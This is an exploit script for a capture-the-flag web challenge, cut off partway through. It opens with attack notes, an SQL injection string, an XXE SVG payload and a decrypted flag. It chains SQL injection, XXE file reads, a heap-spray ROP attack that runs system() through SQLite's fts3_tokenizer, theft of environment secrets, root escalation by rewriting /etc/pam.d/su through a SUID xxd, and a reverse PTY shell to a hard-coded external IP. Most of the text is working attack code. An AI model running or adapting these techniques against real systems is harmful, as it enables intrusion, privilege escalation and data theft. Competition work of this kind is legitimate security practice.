a@x' UNION SELECT id,username,password FROM users-- -

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///proc/self/maps">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

arena_base + 0x20ac620 .. arena_base + 0x3eac7d0
pMod = arena_base + 0x3000000

PAM length     = 2257
backup_ok      = true
modified_ok    = true
restore_ok     = true
original SHA256 = f7cac62fbcd50f9931d09a9190fc3ec390fd48fb5b8bec57e0996a7246856b12
restored SHA256 = f7cac62fbcd50f9931d09a9190fc3ec390fd48fb5b8bec57e0996a7246856b12

/root/.bashrc:100:export SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38

import hashlib
from Crypto.Cipher import ChaCha20

send_key = b"97b2d087-c452-4a14-8a91-5a7035b4ab38"
nonce = b"nepctf2026!!"
ciphertext = bytes.fromhex(
    "182a76b96df6831c0ed2b1128f098059"
    "fb7e853b0063d0a535dec4ebeaf9c515"
    "a4317d0d3c083cf02f5e88df"
)

stage1 = ChaCha20.new(
    key=hashlib.sha256(send_key).digest(),
    nonce=nonce,
).decrypt(ciphertext)
mask = hashlib.sha1(b"-" + send_key).digest()
flag = bytes(
    value ^ index ^ mask[index % 16]
    for index, value in enumerate(stage1)
)

assert flag == b"NepCTF{f2f8ae14-5985-1ac3-1dcb-2611cc5cb19f}"
print(flag.decode())

NepCTF{f2f8ae14-5985-1ac3-1dcb-2611cc5cb19f}

NepCTF{f2f8ae14-5985-1ac3-1dcb-2611cc5cb19f}

#!/usr/bin/env python3
"""NEPCTF 2026 challenge 22 exploit using fetchall-retained BLOB spraying.

The SQL injection returns several large BLOB rows before the final tokenizer
trigger.  CPython's sqlite3.fetchmany/fetchall path converts and retains those
rows as PyBytes objects, giving the fake tokenizer a wide, stable interval in
a serialized glibc worker-thread arena.  By default the helper extracts only
the flag present in the target environment; the explicit --rce mode instead
connects an interactive PTY shell to an externally managed TCP listener.
"""

from __future__ import annotations

import argparse
import html
import json
import re
import secrets
import ssl
import struct
import threading
import time
from dataclasses import dataclass
from http.cookiejar import CookieJar
from pathlib import Path
from typing import Mapping, Optional
from urllib.error import HTTPError, URLError
from urllib.parse import quote, urlencode, urlsplit, urlunsplit
from urllib.request import (
    HTTPCookieProcessor,
    HTTPRedirectHandler,
    HTTPSHandler,
    Request,
    build_opener,
)


PLATFORM = "https://www.nepctf.com"
GAME_ID = 2
CHALLENGE_ID = 22
DEFAULT_RCE_HOST = "185.150.191.182"

SYSTEM_PLT = 0x425530
ALIGNED_XCREATE_GADGET = 0x529392
SAFE_FAILURE_GADGET = 0x42A1E2
ZERO_LOW_BYTE_XCREATE_GADGET = 0x529200
SYSTEM_CALL_THUNK = 0x46486D
EVEN_CALL_XCREATE_GADGET = 0x529239

WARM_LEVEL = 19
WARM_SIZE = 48 << WARM_LEVEL
SPRAY_LEVEL = 16
SPRAY_SIZE = 48 << SPRAY_LEVEL
SPRAY_ROWS = 10
COMMAND_SPRAY_LEVEL = 15
CALIBRATION_ROUNDS = 6
PHASE_COVER_SCHEDULE = (4, 2, 3, 5, 1, 5, 0, 5, 5, 2)
RCE_PHASE_COVER_SCHEDULE = (
    PHASE_COVER_SCHEDULE + (0, 1, 2, 3, 4, 5) * 3
)

# Werkzeug serves each request in a short-lived worker thread.  Large
# sqlite3/PyBytes allocations therefore live in a glibc 64 MiB thread arena,
# not in the mapping labelled [heap].  Under the exact target runtime, after
# the warm-up and six error-ending fetchall calibrations, the ten retained
# 3 MiB PyBytes cover this stable arena-relative interval:
#
#   arena_base + 0x20ac620 .. arena_base + 0x3eac7d0
#
# Keep the selected pointer well inside that interval.
PMOD_FROM_THREAD_ARENA = 0x3000000
THREAD_ARENA_SIZE = 0x4000000
REQUEST_SETTLE_SECONDS = 1.0
MAX_PROCESS_ATTEMPTS = 3
PROCESS_RECOVERY_TIMEOUT_SECONDS = 180.0
PROCESS_RECOVERY_POLL_SECONDS = 3.0

FLAG_PATTERN = re.compile(r"(?i:(?:nep)?ctf|flag)\{[^}\r\n]+\}")
HEAP_PATTERN = re.compile(
    r"(?m)^([0-9a-f]+)-([0-9a-f]+)\s+rw-p[^\n]*\[heap\]$"
)
SQLITE_PATTERN = re.compile(
    r"(?m)^([0-9a-f]+)-[0-9a-f]+\s+r--p\s+00000000[^\n]*"
    r"/libsqlite3\.so\.0\.8\.6$"
)
THREAD_ARENA_PATTERN = re.compile(
    r"(?m)^([0-9a-f]+)-([0-9a-f]+) rw-p 00000000 00:00 0\s*\r?\n"
    r"([0-9a-f]+)-([0-9a-f]+) ---p 00000000 00:00 0\s*$"
)


def normalize_base_url(value: str) -> str:
    value = value.strip()
    if "://" not in value:
        value = "https://" + value
    parts = urlsplit(value)
    if parts.scheme not in {"http", "https"} or not parts.netloc:
        raise argparse.ArgumentTypeError("expected an http(s) challenge URL")
    return urlunsplit((parts.scheme, parts.netloc, "", "", ""))


def qword(value: int) -> bytes:
    return struct.pack("<Q", value)


def tcp_port(value: str) -> int:
    try:
        port = int(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("expected a TCP port") from exc
    if not 1 <= port <= 65535:
        raise argparse.ArgumentTypeError("TCP port must be between 1 and 65535")
    return port


@dataclass
class Response:
    status: int
    body: bytes
    url: str
    headers: Mapping[str, str]

    @property
    def text(self) -> str:
        return self.body.decode("utf-8", "replace")


class Client:
    def __init__(self, base_url: str, *, insecure: bool, timeout: float = 30):
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        context = ssl._create_unverified_context() if insecure else ssl.create_default_context()
        self.cookies = CookieJar()
        self.opener = build_opener(
            HTTPSHandler(context=context),
            HTTPRedirectHandler(),
            HTTPCookieProcessor(self.cookies),
        )

    def request(
        self,
        method: str,
        path: str,
        *,
        form: Optional[Mapping[str, str]] = None,
        body: Optional[bytes] = None,
        headers: Optional[Mapping[str, str]] = None,
        timeout: Optional[float] = None,
    ) -> Response:
        if not path.startswith("/"):
            path = "/" + path
        request_headers = dict(headers or {})
        if form is not None:
            if body is not None:
                raise ValueError("form and body are mutually exclusive")
            body = urlencode(form).encode()
            request_headers.setdefault(
                "Content-Type", "application/x-www-form-urlencoded"
            )
        req = Request(
            self.base_url + path,
            data=body,
            headers=request_headers,
            method=method,
        )
        try:
            result = self.opener.open(req, timeout=timeout or self.timeout)
            return Response(
                result.status,
                result.read(),
                result.url,
                dict(result.headers.items()),
            )
        except HTTPError as exc:
            return Response(
                exc.code,
                exc.read(),
                exc.url,
                dict(exc.headers.items()),
            )


class TargetProcessRestart(RuntimeError):
    """Signal that all process-local calibration must be repeated."""


class StopRedirect(HTTPRedirectHandler):
    """Return the registration redirect instead of starting another worker."""

    def redirect_request(self, req, fp, code, msg, headers, newurl):
        return None


def register_without_redirect(
    base_url: str,
    insecure: bool,
    username: str,
    password: str,
    email: str,
) -> None:
    context = ssl._create_unverified_context() if insecure else ssl.create_default_context()
    opener = build_opener(HTTPSHandler(context=context), StopRedirect())
    request = Request(
        base_url.rstrip("/") + "/register",
        data=urlencode(
            {"username": username, "password": password, "email": email}
        ).encode(),
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )
    try:
        response = opener.open(request, timeout=60)
        status = response.status
        response.read()
    except HTTPError as exc:
        status = exc.code
        exc.read()
    if status >= 500:
        raise TargetProcessRestart(
            f"registration returned HTTP {status}"
        )
    if status not in {200, 302, 303}:
        raise RuntimeError(f"registration failed with HTTP {status}")
    time.sleep(REQUEST_SETTLE_SECONDS)


def random_name(prefix: str) -> str:
    return prefix + secrets.token_hex(5)


def register(client: Client, username: str, password: str, email: str) -> None:
    response = client.request(
        "POST",
        "/register",
        form={"username": username, "password": password, "email": email},
    )
    if response.status >= 500:
        raise TargetProcessRestart(
            f"registration returned HTTP {response.status}"
        )


def profile(client: Client, username: str, *, timeout: float = 60) -> Response:
    return client.request(
        "GET", "/user/" + quote(username, safe=""), timeout=timeout
    )


def recover_admin(client: Client) -> str:
    username = random_name("adm")
    password = secrets.token_urlsafe(12)
    injection = (
        "a@x' UNION ALL SELECT id,username,password FROM users "
        "WHERE username='admin'-- -" + secrets.token_hex(4)
    )
    register(client, username, password, injection)
    response = profile(client, username)
    match = re.search(
        r'href="/user/admin"[^>]*>admin</a></td>\s*<td>(.*?)</td>',
        response.text,
        re.S,
    )
    if not match:
        raise RuntimeError("admin password row was not returned by the SQL injection")
    return html.unescape(re.sub(r"<[^>]+>", "", match.group(1))).strip()


def login_admin(client: Client, password: str) -> None:
    response = client.request(
        "POST", "/login", form={"username": "admin", "password": password}
    )
    if response.status >= 500:
        raise TargetProcessRestart(
            f"admin login returned HTTP {response.status}"
        )
    if not response.url.endswith("/admin") or "管理员" not in response.text:
        raise RuntimeError("admin login failed")


def multipart_file(field: str, filename: str, content: bytes, mime: str) -> tuple[bytes, str]:
    boundary = "----id22" + secrets.token_hex(16)
    body = (
        (f"--{boundary}\r\n").encode()
        + (
            f'Content-Disposition: form-data; name="{field}"; '
            f'filename="{filename}"\r\n'
        ).encode()
        + (f"Content-Type: {mime}\r\n\r\n").encode()
        + content
        + (f"\r\n--{boundary}--\r\n").encode()
    )
    return body, "multipart/form-data; boundary=" + boundary


def upload(client: Client, filename: str, content: bytes) -> str:
    body, content_type = multipart_file("file", filename, content, "image/svg+xml")
    response = client.request(
        "POST",
        "/admin/upload",
        body=body,
        headers={"Content-Type": content_type},
        timeout=45,
    )
    if response.status >= 500:
        raise TargetProcessRestart(
            f"upload returned HTTP {response.status}"
        )
    if response.status >= 400:
        raise RuntimeError(f"upload failed with HTTP {response.status}")
    stem = re.escape(Path(filename).stem)
    matches = re.findall(rf"{stem}_[0-9]+\.svg", response.text)
    if not matches:
        # A redirecting intermediary may return only the redirect body.
        listing = client.request("GET", "/admin")
        matches = re.findall(rf"{stem}_[0-9]+\.svg", listing.text)
    if not matches:
        raise RuntimeError(f"could not resolve stored name for {filename}")
    return matches[0]


def make_maps_svg() -> bytes:
    return b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///proc/self/maps">]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">
<text>&xxe;</text>
</svg>
"""


def make_text_svg(text: str) -> bytes:
    return (
        '<svg xmlns="http://www.w3.org/2000/svg"><text>'
        + html.escape(text)
        + "</text></svg>"
    ).encode()


def make_file_probe_svg(path: str) -> bytes:
    return (
        '<?xml version="1.0"?>'
        '<!DOCTYPE svg [<!ENTITY x SYSTEM "file://'
        + path
        + '">]><svg xmlns="http://www.w3.org/2000/svg"><text>&x;</text></svg>'
    ).encode()


def preview_contains(client: Client, stored_name: str, marker: str) -> bool:
    response = client.request(
        "GET", "/admin/preview/" + quote(stored_name, safe=""), timeout=45
    )
    return response.status == 200 and marker in html.unescape(response.text)


def detect_working_directory(client: Client) -> str:
    marker = "CWD_" + secrets.token_hex(8)
    marker_stored = upload(
        client,
        "cwdmark_" + secrets.token_hex(4) + ".svg",
        make_text_svg(marker),
    )
    candidates = (
        ("/app", "/proc/self/cwd/uploads/" + marker_stored),
        ("/", "/proc/self/cwd/app/uploads/" + marker_stored),
    )
    for expected, path in candidates:
        probe_stored = upload(
            client,
            "cwdprobe_" + secrets.token_hex(4) + ".svg",
            make_file_probe_svg(path),
        )
        if preview_contains(client, probe_stored, marker):
            return expected
    raise RuntimeError("could not resolve the server working directory")


def read_maps(
    client: Client, stored_name: str
) -> tuple[int, int, int, list[tuple[int, int, int]]]:
    response = client.request(
        "GET", "/admin/preview/" + quote(stored_name, safe=""), timeout=45
    )
    decoded = html.unescape(response.text)
    heap = HEAP_PATTERN.search(decoded)
    sqlite = SQLITE_PATTERN.search(decoded)
    arenas: set[tuple[int, int, int]] = set()
    for match in THREAD_ARENA_PATTERN.finditer(decoded):
        start, end, guard_start, limit = (
            int(value, 16) for value in match.groups()
        )
        if (
            start & (THREAD_ARENA_SIZE - 1) == 0
            and end == guard_start
            and limit - start == THREAD_ARENA_SIZE
        ):
            arenas.add((start, end, limit))
    if not heap or not sqlite or not arenas:
        raise RuntimeError("failed to parse heap, libsqlite, or thread arena mapping")
    return (
        int(heap.group(1), 16),
        int(heap.group(2), 16),
        int(sqlite.group(1), 16),
        sorted(arenas),
    )


def make_flag_helper(result_name: str) -> bytes:
    if not re.fullmatch(r"[A-Za-z0-9_.-]+", result_name):
        raise ValueError("unsafe result filename")
    template = b"""#!/bin/sh
out=__RESULT_PATH__
printf 'RUNNING\\n' > "$out"
python3 - <<'PY' 2>>"$out"
import os
import base64
import pathlib
import re
import stat
import subprocess
import time

output_path = pathlib.Path("__RESULT_PATH__")
sources = ["\\n".join("%s=%s" % item for item in os.environ.items())]
diagnostics = []
flag_pattern = re.compile(rb"(?i:(?:nep)?ctf)\\{[^}\\r\\n\\x00]{1,512}\\}")

def have_flag():
    return any(
        flag_pattern.search(source.encode("utf-8", "replace"))
        for source in sources
    )

def privileged_xxd_write(path, data):
    return subprocess.run(
        ["/usr/bin/xxd", "-r", "-p", "-", path],
        input=data.hex().encode("ascii"),
        capture_output=True,
        timeout=8,
        check=False,
    )

secret_key = os.environ.get("SECRET_KEY", "")
proc_send_key = ""
try:
    proc_one_env = pathlib.Path("/proc/1/environ").read_bytes()
    proc_match = re.search(rb"(?:^|\\x00)SEND_KEY=([^\\x00]+)", proc_one_env)
    if proc_match is not None:
        proc_send_key = proc_match.group(1).decode("utf-8", "replace")
except OSError:
    pass

for candidate_name, candidate_key in (
    ("secret-key", secret_key),
    ("proc1-send-key", proc_send_key),
):
  if candidate_key:
    try:
        candidate_env = dict(os.environ)
        candidate_env["SEND_KEY"] = candidate_key
        candidate = subprocess.run(
            ["/usr/local/bin/sendthef1ag"],
            env=candidate_env,
            capture_output=True,
            timeout=8,
            check=False,
        )
        candidate_output = (candidate.stdout + b"\\n" + candidate.stderr).decode(
            "utf-8", "replace"
        )
        diagnostics.append(
            "getter-with-%s rc=%s %s"
            % (candidate_name, candidate.returncode, candidate_output[:1000])
        )
        sources.append(candidate_output)
    except (OSError, subprocess.SubprocessError) as error:
        diagnostics.append("getter-with-%s: %s" % (candidate_name, error))

# Publish the only data needed for deterministic offline recovery before any
# slow filesystem or privilege scan.  Sleeping keeps system(3) blocked so the
# corrupted SQLite request cannot unwind and kill the process before the
# polling client downloads this artifact.
early_material = "\\n".join(sources)
early_match = flag_pattern.search(early_material.encode("utf-8", "replace"))
if early_match is not None:
    output_path.write_text(
        early_match.group(0).decode("utf-8", "replace") + "\\n",
        encoding="utf-8",
    )
else:
    output_path.write_text(
        "KEYS secret_key_b64=%s proc1_send_key_b64=%s diagnostics=%s\\n"
        % (
            base64.b64encode(secret_key.encode("utf-8")).decode("ascii"),
            base64.b64encode(proc_send_key.encode("utf-8")).decode("ascii"),
            " | ".join(diagnostics)[:2000],
        ),
        encoding="utf-8",
    )
time.sleep(120)
raise SystemExit(0)

for name in (
    "/flag",
    "/flag.txt",
    "/app/flag",
    "/app/flag.txt",
    "/run/secrets/flag",
    "/proc/1/environ",
):
    try:
        sources.append(pathlib.Path(name).read_bytes().replace(b"\\0", b"\\n").decode(
            "utf-8", "replace"
        ))
    except (OSError, ValueError):
        pass

commands = (
    "/readflag",
    "/read_flag",
    "/getflag",
    "/get_flag",
    "/usr/local/bin/sendthef1ag",
    "/bin/readflag",
    "/usr/bin/readflag",
    "/app/readflag",
    "/app/getflag",
)
for command in commands:
    try:
        result = subprocess.run(
            [command], capture_output=True, timeout=6, check=False
        )
        output = (result.stdout + b"\\n" + result.stderr).decode(
            "utf-8", "replace"
        )
        diagnostics.append("%s rc=%s %s" % (command, result.returncode, output[:300]))
        sources.append(output)
    except (OSError, subprocess.SubprocessError) as error:
        diagnostics.append("%s: %s" % (command, error))

candidate_names = set()
try:
    result = subprocess.run(
        ["find", "/", "-maxdepth", "3", "-iname", "*flag*", "-type", "f", "-print"],
        capture_output=True,
        timeout=12,
        check=False,
    )
    candidate_names.update(
        line for line in result.stdout.decode("utf-8", "replace").splitlines() if line
    )
    diagnostics.append("paths=" + ",".join(sorted(candidate_names)))
except (OSError, subprocess.SubprocessError) as error:
    diagnostics.append("find: %s" % error)

for command in (
    ["ls", "-la", "/"],
    ["ls", "-la", "/app"],
    ["sh", "-c", "find / -xdev -type f -perm /6000 -ls 2>/dev/null"],
    ["sh", "-c", "getcap -r / 2>/dev/null"],
):
    try:
        result = subprocess.run(
            command, capture_output=True, timeout=12, check=False
        )
        output = (result.stdout + b"\\n" + result.stderr).decode(
            "utf-8", "replace"
        )
        diagnostics.append("cmd %r rc=%s %s" % (command, result.returncode, output[:4000]))
        sources.append(output)
    except (OSError, subprocess.SubprocessError) as error:
        diagnostics.append("cmd %r: %s" % (command, error))

# /usr/bin/xxd is deliberately SUID-root in this image.  Use its GTFOBins
# read primitive first so the common root-only flag paths require no system
# modification at all.
for name in (
    "/root/flag",
    "/root/flag.txt",
    "/root/.flag",
    "/root/FLAG",
    "/root/nepctf",
    "/root/NepCTF",
    "/root/.bash_history",
):
    try:
        result = subprocess.run(
            ["/usr/bin/xxd", "-p", name],
            capture_output=True,
            timeout=8,
            check=False,
        )
        compact = b"".join(result.stdout.split())
        decoded = bytes.fromhex(compact.decode("ascii")).decode(
            "utf-8", "replace"
        ) if compact else ""
        diagnostics.append(
            "suid-xxd %s rc=%s %s" % (name, result.returncode, decoded[:500])
        )
        if decoded:
            sources.append(decoded)
    except (OSError, ValueError, subprocess.SubprocessError) as error:
        diagnostics.append("suid-xxd %s: %s" % (name, error))

# If the root-only file has a random name, turn xxd's root write primitive
# into one authenticated root command.  Restore the PAM file in a finally
# block so the disposable challenge process is left in its original state.
if not have_flag():
    pam_path = pathlib.Path("/etc/pam.d/su")
    original_pam = None
    try:
        original_pam = pam_path.read_bytes()
        permit = (
            b"auth sufficient pam_permit.so\\n"
            b"account sufficient pam_permit.so\\n"
            b"session sufficient pam_permit.so\\n"
        )
        if len(original_pam) < len(permit):
            raise RuntimeError("unexpectedly short PAM configuration")
        replacement = permit + b"#" * (len(original_pam) - len(permit))
        write_result = privileged_xxd_write(str(pam_path), replacement)
        diagnostics.append(
            "pam-write rc=%s stderr=%s"
            % (write_result.returncode, write_result.stderr[:300].decode("utf-8", "replace"))
        )
        root_result = subprocess.run(
            [
                "/usr/bin/su", "-s", "/bin/sh", "root", "-c",
                "id; /usr/local/bin/sendthef1ag; "
                "find /root -maxdepth 4 -type f -printf 'ROOTFILE %p %s\\n'; "
                "tar -C /root -cf - .",
            ],
            capture_output=True,
            timeout=25,
            check=False,
        )
        root_output = root_result.stdout.decode("utf-8", "replace")
        diagnostics.append(
            "root-scan rc=%s stderr=%s output=%s"
            % (
                root_result.returncode,
                root_result.stderr[:500].decode("utf-8", "replace"),
                root_output[:2000],
            )
        )
        sources.append(root_output)
    except (OSError, RuntimeError, subprocess.SubprocessError) as error:
        diagnostics.append("root-escalation: %s" % error)
    finally:
        if original_pam is not None:
            try:
                restore_result = privileged_xxd_write(str(pam_path), original_pam)
                diagnostics.append("pam-restore rc=%s" % restore_result.returncode)
            except (OSError, subprocess.SubprocessError) as error:
                diagnostics.append("pam-restore: %s" % error)

for directory in (pathlib.Path("/"), pathlib.Path("/app")):
    try:
        candidates = list(directory.glob("*flag*")) + list(directory.glob("*FLAG*"))
    except OSError:
        candidates = []
    for candidate in candidates:
        candidate_names.add(str(candidate))

for name in sorted(candidate_names):
    candidate = pathlib.Path(name)
    try:
        if candidate.is_file() and candidate.stat().st_size <= 1048576:
            sources.append(candidate.read_text(encoding="utf-8", errors="replace"))
    except OSError:
        pass
    try:
        if candidate.is_file() and os.access(str(candidate), os.X_OK):
            result = subprocess.run(
                [str(candidate)], capture_output=True, timeout=6, check=False
            )
            output = (result.stdout + b"\\n" + result.stderr).decode(
                "utf-8", "replace"
            )
            diagnostics.append(
                "exec %s rc=%s %s" % (candidate, result.returncode, output[:300])
            )
            sources.append(output)
    except (OSError, subprocess.SubprocessError) as error:
        diagnostics.append("exec %s: %s" % (candidate, error))

for directory in (
    pathlib.Path("/run/secrets"),
    pathlib.Path("/var/run/secrets"),
    pathlib.Path("/secrets"),
    pathlib.Path("/etc/secrets"),
):
    try:
        candidates = list(directory.rglob("*"))
    except OSError:
        candidates = []
    for candidate in candidates:
        try:
            if candidate.is_file() and candidate.stat().st_size <= 1048576:
                sources.append(candidate.read_text(encoding="utf-8", errors="replace"))
        except OSError:
            pass

# Search readable, reasonably-sized files on the container filesystem.  This
# catches randomised flag paths as well as flags embedded in databases or app
# configuration without traversing virtual kernel filesystems.
scan_roots = (
    pathlib.Path("/app"),
    pathlib.Path("/run"),
    pathlib.Path("/var"),
    pathlib.Path("/opt"),
    pathlib.Path("/srv"),
    pathlib.Path("/home"),
    pathlib.Path("/root"),
    pathlib.Path("/etc"),
    pathlib.Path("/tmp"),
    pathlib.Path("/usr/local"),
)
scan_deadline = time.monotonic() + 24
scanned = 0
denied = []
matches = []
seen_files = set()
for scan_root in scan_roots:
    if time.monotonic() >= scan_deadline:
        break
    for root, dirs, files in os.walk(str(scan_root), followlinks=False):
        dirs[:] = [
            name for name in dirs
            if os.path.join(root, name) != "/app/uploads"
        ]
        for filename in files:
            if time.monotonic() >= scan_deadline:
                break
            path = os.path.join(root, filename)
            try:
                info = os.stat(path, follow_symlinks=False)
                identity = (info.st_dev, info.st_ino)
                if identity in seen_files or not stat.S_ISREG(info.st_mode):
                    continue
                seen_files.add(identity)
                if info.st_size > 8 * 1024 * 1024:
                    continue
                with open(path, "rb") as handle:
                    data = handle.read(8 * 1024 * 1024 + 1)
                scanned += 1
                found = flag_pattern.findall(data)
                if found:
                    decoded = [item.decode("utf-8", "replace") for item in found]
                    matches.extend(decoded)
                    diagnostics.append("scan-match %s: %s" % (path, decoded))
                    sources.extend(decoded)
            except PermissionError:
                if len(denied) < 200 and "flag" in filename.lower():
                    denied.append(path)
            except OSError:
                pass
diagnostics.append(
    "scan files=%s timed_out=%s denied_flag_names=%s"
    % (scanned, time.monotonic() >= scan_deadline, ",".join(denied))
)
material = "\\n".join(sources)
match = re.search(r"(?i:(?:nep)?ctf)\\{[^}\\r\\n\\x00]+\\}", material)
if match is None:
    output_path.write_text(
        "NO_FLAG secret_key_b64=%s proc1_send_key_b64=%s cwd=%s keys=%s diagnostics=%s\\n"
        % (
            base64.b64encode(secret_key.encode("utf-8")).decode("ascii"),
            base64.b64encode(proc_send_key.encode("utf-8")).decode("ascii"),
            os.getcwd(),
            ",".join(sorted(os.environ)),
            " | ".join(diagnostics)[:12000],
        ),
        encoding="utf-8",
    )
else:
    output_path.write_text(
        match.group(0) + "\\n", encoding="utf-8"
    )
time.sleep(120)
PY
rc=$?
if [ "$rc" -ne 0 ]; then
    printf '\\nHELPER_ERROR rc=%s\\n' "$rc" >> "$out"
    sleep 120
fi
exit 1
"""
    rendered = template.replace(
        b"__RESULT_PATH__", f"/app/uploads/{result_name}".encode("ascii")
    )
    # The live allocator calibration was derived with the original 10,513
    # byte helper.  Keep the fast key-recovery helper byte-for-byte identical
    # in size: retain only the code through its early SystemExit, append a
    # valid shell trailer, then add an inert shell comment as padding.
    fast_end = rendered.index(b"raise SystemExit(0)\n") + len(
        b"raise SystemExit(0)\n"
    )
    rendered = rendered[:fast_end] + (
        b"PY\n"
        b"rc=$?\n"
        b"if [ \"$rc\" -ne 0 ]; then\n"
        b"    printf '\\nHELPER_ERROR rc=%s\\n' \"$rc\" >> \"$out\"\n"
        b"    sleep 120\n"
        b"fi\n"
        b"exit 1\n"
    )
    calibrated_size = 10513
    if len(rendered) > calibrated_size:
        raise RuntimeError("fast helper exceeds calibrated upload size")
    rendered += b"#" + b"P" * (calibrated_size - len(rendered) - 1)
    return rendered


def make_reverse_shell_helper(
    callback_host: str,
    callback_port: int,
    status_name: str,
    *,
    target_size: Optional[int] = None,
) -> bytes:
    """Return the uploaded helper used by the explicit interactive RCE mode."""
    if not callback_host.strip() or "\x00" in callback_host:
        raise ValueError("invalid callback host")
    if not re.fullmatch(r"[A-Za-z0-9_.-]+", status_name):
        raise ValueError("unsafe status filename")
    host_literal = json.dumps(callback_host, ensure_ascii=True)
    status_literal = json.dumps(
        f"/app/uploads/{status_name}", ensure_ascii=True
    )
    payload = f"""#!/bin/sh
python3 - <<'PY'
import os
import pathlib
import pty
import socket
import time

status_path = pathlib.Path({status_literal})
s = None
last_error = "not attempted"
for attempt in range(1, 31):
    status_path.write_text(
        "CONNECTING attempt=%d/30 last=%s\\n" % (attempt, last_error),
        encoding="utf-8",
    )
    try:
        s = socket.create_connection(
            ({host_literal}, {callback_port}), timeout=2
        )
        break
    except OSError as error:
        last_error = type(error).__name__ + ": " + str(error)[:240]
        time.sleep(1)
if s is None:
    status_path.write_text(
        "ERROR " + last_error + "\\n", encoding="utf-8"
    )
    raise RuntimeError("external listener remained unreachable")
s.settimeout(None)
status_path.write_text("CONNECTED\\n", encoding="utf-8")
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)
os.environ["TERM"] = "xterm-256color"
os.environ["HISTFILE"] = "/dev/null"
try:
    os.chdir("/app")
except OSError:
    pass
pty.spawn(["/bin/sh", "-i"])
PY
exit 1
""".encode("ascii")
    if target_size is not None:
        padding = target_size - len(payload)
        if padding < 0:
            raise ValueError(
                f"reverse-shell helper exceeds target size by {-padding} bytes"
            )
        if padding == 1:
            payload += b"\n"
        elif padding >= 2:
            payload += b"#" + b"P" * (padding - 2) + b"\n"
        if len(payload) != target_size:
            raise AssertionError("reverse-shell helper padding failed")
    return payload


def scalar_carrier(email_expression: str, marker: str) -> str:
    return (
        "a@x' UNION ALL SELECT 9223372036854775806,'"
        + marker
        + "',CAST(("
        + email_expression
        + ") AS TEXT)-- -"
    )


def recursive_blob(record: bytes, level: int) -> str:
    if len(record) not in {48, 96}:
        raise ValueError("spray record must be exactly 48 or 96 bytes")
    return (
        "WITH RECURSIVE x(n,v) AS ("
        f"VALUES(0,X'{record.hex()}') "
        "UNION ALL SELECT n+1,CAST(v||v AS BLOB) FROM x "
        f"WHERE n<{level}"
        ") "
    )


def make_warmup_payload() -> str:
    record = b"warmup\x00\x00" + qword(SAFE_FAILURE_GADGET) * 5
    expression = (
        recursive_blob(record, WARM_LEVEL)
        + f"SELECT length(v) FROM x WHERE n={WARM_LEVEL}"
    )
    return scalar_carrier(expression, random_name("warm"))


def fetchall_inner(
    record: bytes,
    terminal_expression: str,
    *,
    spray_level: int = SPRAY_LEVEL,
) -> str:
    return (
        recursive_blob(record, spray_level)
        + ",c(i) AS (VALUES(0) UNION ALL SELECT i+1 FROM c "
        + f"WHERE i<{SPRAY_ROWS}) "
        + "SELECT 9000000000000000000+i,'spr'||i,"
        + f"CASE WHEN i<{SPRAY_ROWS} THEN v ELSE {terminal_expression} END "
        + f"FROM x,c WHERE n={spray_level}"
    )


def fetchall_carrier(
    record: bytes,
    terminal_expression: str,
    *,
    spray_level: int = SPRAY_LEVEL,
) -> str:
    return (
        "a@x' UNION ALL SELECT * FROM ("
        + fetchall_inner(
            record, terminal_expression, spray_level=spray_level
        )
        + ")-- -"
    )


def phase_records(
    command: bytes,
    *,
    xcreate_gadget: int = ALIGNED_XCREATE_GADGET,
    system_target: int = SYSTEM_PLT,
) -> list[bytes]:
    if len(command) != 8:
        raise ValueError("command slot must be exactly eight bytes")
    if 0 not in command and xcreate_gadget & 0xFF:
        raise ValueError("an eight-byte command requires a zero-low-byte gadget")
    gadget = qword(xcreate_gadget)
    failure = qword(SAFE_FAILURE_GADGET)
    system = qword(system_target)
    return [
        command + gadget + failure + failure + failure + system,
        failure + system + command + gadget + failure + failure,
        failure + failure + failure + system + command + gadget,
    ]


def collision_free_phase_records(command: bytes) -> list[bytes]:
    """Build six 96-byte records whose wrong xCreate phases are all safe.

    The selected gadget calls the function pointer at pMod+0x30.  With a
    96-byte repeating record, that pointer occupies an even qword slot and
    therefore never overlaps any of the six possible xCreate slots.  Reducing
    the recursion by one keeps every retained BLOB at exactly 3 MiB.
    """
    if len(command) != 8 or 0 not in command:
        raise ValueError("command must be an eight-byte NUL-terminated string")
    records: list[bytes] = []
    for phase in range(6):
        slots = [0] * 12
        for index in range(1, 12, 2):
            slots[index] = SAFE_FAILURE_GADGET
        start = phase * 2
        slots[start] = int.from_bytes(command, "little")
        slots[(start + 1) % 12] = EVEN_CALL_XCREATE_GADGET
        slots[(start + 6) % 12] = SYSTEM_CALL_THUNK
        records.append(b"".join(qword(value) for value in slots))
    return records


def direct_phase_record(command: bytes, phase: int) -> bytes:
    """Build one 96-byte record using the previously verified direct chain."""
    if len(command) != 8 or 0 not in command or phase not in range(6):
        raise ValueError("expected a NUL-terminated command and phase 0..5")
    slots = [0] * 12
    for index in range(1, 12, 2):
        slots[index] = SAFE_FAILURE_GADGET
    start = phase * 2
    slots[start] = int.from_bytes(command, "little")
    slots[(start + 1) % 12] = ALIGNED_XCREATE_GADGET
    slots[(start + 5) % 12] = SYSTEM_PLT
    return b"".join(qword(value) for value in slots)


def calibration_terminal() -> str:
    # The dependency on i prevents SQLite 3.31.1 from constant-folding the
    # overflow before fetchall has retained the preceding BLOB rows.
    return "abs(-9223372036854775808+(i-i))"


def trigger_terminal(pmod: int) -> str:
    pointer = qword(pmod).hex()
    return (
        "CAST((SELECT group_concat(name) FROM pragma_table_info("
        "CASE WHEN length(fts3_tokenizer('simple',"
        f"X'{pointer}'))=8 THEN 'fts3tokenize' END)) AS BLOB)"
    )


def register_payload_serialized(
    base_url: str, insecure: bool, payload: str, prefix: str
) -> str:
    username = random_name(prefix)
    register_without_redirect(
        base_url,
        insecure,
        username,
        secrets.token_urlsafe(12),
        payload,
    )
    return username


def run_calibration(
    base_url: str, insecure: bool, username: str, rounds: int
) -> None:
